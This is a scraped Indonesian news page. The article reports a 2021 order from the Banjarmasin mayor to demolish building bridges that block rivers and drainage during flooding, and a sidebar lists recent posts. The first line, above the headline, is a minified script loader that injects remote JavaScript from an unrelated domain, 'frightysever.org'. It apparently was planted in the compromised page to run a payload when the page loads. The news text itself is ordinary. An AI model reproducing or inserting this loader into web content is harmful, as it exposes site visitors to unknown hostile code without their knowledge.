(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bongkar! Jembatan Bangunan Gedung Menutupi Sungai dan Drainase


KANALKALIMANTAN.COM, BANJARMASIN – Mengatasi banjir di Kota Banjarmasin yang merendam permukiman penduduk hingga ke ruas-ruas jalan utama, Pemerintah Kota Banjarmasin mengambil langkah membongkar bangunan yang menghalangi aliran sungai dan drainase.

Hal itu berdasarkan berdasarkan surat edaran yang ditandatangani oleh Wali Kota Banjarmasin, Ibnu Sina yang ditujukan kepada para pemilik bangunan gedung di kota Banjarmasin.

Surat edaran perintah pembongkaran itu, berdasarkan Peraturan Daerah (Perda) Nomor 14 tahun 2009 tentang bangunan panggung, Perda Nomor 15 tahun 2012 tentang izin mendirikan bangunan dan Perda Nomor 31 tahun 2012 tentang penetapan, pengaturan pemanfaatan sempadan sungai dan bekas sungai.

Pertanggal 26 Januari 2021, Wali Kota Banjarmasin Ibnu Sina memerintahkan kepada  seluruh pihak pemilik bangunan yang memiliki Jembatan Bangunan Gedung (JBG) untuk menyeberangi sungai, menuju bangunan gedung atau halaman yang menghalangi aliran sungai, agar segera membongkar secara sendiri.

 

Banjir besar menenggelamkan ruas jalan A Yani Kota Banjarmasin. Foto: putra

Wali Kota Banjarmasin Ibnu Sina memberikan waktu kepada pemilik gedung dalam waktu 2×24 jam setelah surat edaran diterbitkan. Apabila dinilai menghalangi aliran sungai dalam upaya untuk mengatasi genangan akibat banjir belum dibongkar oleh pemilik, maka akan dilakukan pembongkaran oleh Pemerintah Kota Banjarmasin.

“Dengan tujuan untuk mengembalikan aliran sungai sehingga dapat berfungsi kembali sebagai badan air untuk mengatasi permasalahan genangan akibat banjir di Kota Banjarmasin,” kata Wali Kota Banjarmasin dalam surat edaran

Prioritas untuk awal pembongkaran jembatan gedung bangunan lainnya di kota Banjarmasin yang menghalangi aliran sungai adalah jembatan bangunan sepanjang jalan Ahmad Yani, jalan Pramuka dan jalan Veteran. (kanalkalimantan.com/putra)
Reporter: putra
Editor: bie


Al Ghifari

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

2 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

4 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

8 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

12 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

13 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.